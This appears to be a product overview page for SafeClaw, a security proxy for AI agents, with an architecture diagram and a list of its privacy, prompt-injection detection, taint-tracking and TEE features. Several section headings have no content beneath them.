A3S SafeClaw

SafeClaw is a security proxy for AI agents that runs inside an A3S Box VM. It classifies messages for PII, detects prompt injection attacks, sanitizes outputs, tracks data taint, and audits everything — with optional hardware-level memory encryption via TEE.

Architecture

User Input
    ↓
┌─────────────────────────────────────────────────────┐
│ ZONE 1: Untrusted (Gateway)                         │
│  Privacy Classifier (detect PII)                    │
│  Injection Detector (block prompt injection)        │
│  Route decision: Local or TEE?                      │
└──────────────────┬──────────────────────────────────┘
                   │ Encrypted Channel (AES-256-GCM)
┌──────────────────▼──────────────────────────────────┐
│ ZONE 2: Trusted (TEE - Hardware Isolated)           │
│  Decrypt message                                    │
│  Process with AI agent (a3s-code)                   │
│  Output Sanitizer (redact tainted data)             │
│  Tool Interceptor (block dangerous commands)        │
└──────────────────┬──────────────────────────────────┘
                   ↓
Safe Output (PII redacted, audit logged)

Defense in Depth

Core Components

Key Statistics

Key Features

• Multi-level PII classification with regex, semantic, and compliance backends
• Taint tracking with variant detection (base64, hex, URL-encoded, reversed)
• Prompt injection detection with 5 attack categories
• Tool call interception blocking dangerous commands
• Whitelist-only network firewall with domain and protocol rules
• Per-session isolation with secure memory erasure
• 7 channel adapters: Telegram, Slack, Discord, Feishu, DingTalk, WeCom, WebChat
• Three-layer memory: Resources → Artifacts → Insights with privacy gates
• TEE integration: AMD SEV-SNP, Intel SGX, ARM CCA support
• Compliance engine: HIPAA, PCI-DSS, GDPR rule sets
• Cumulative risk tracking across conversation turns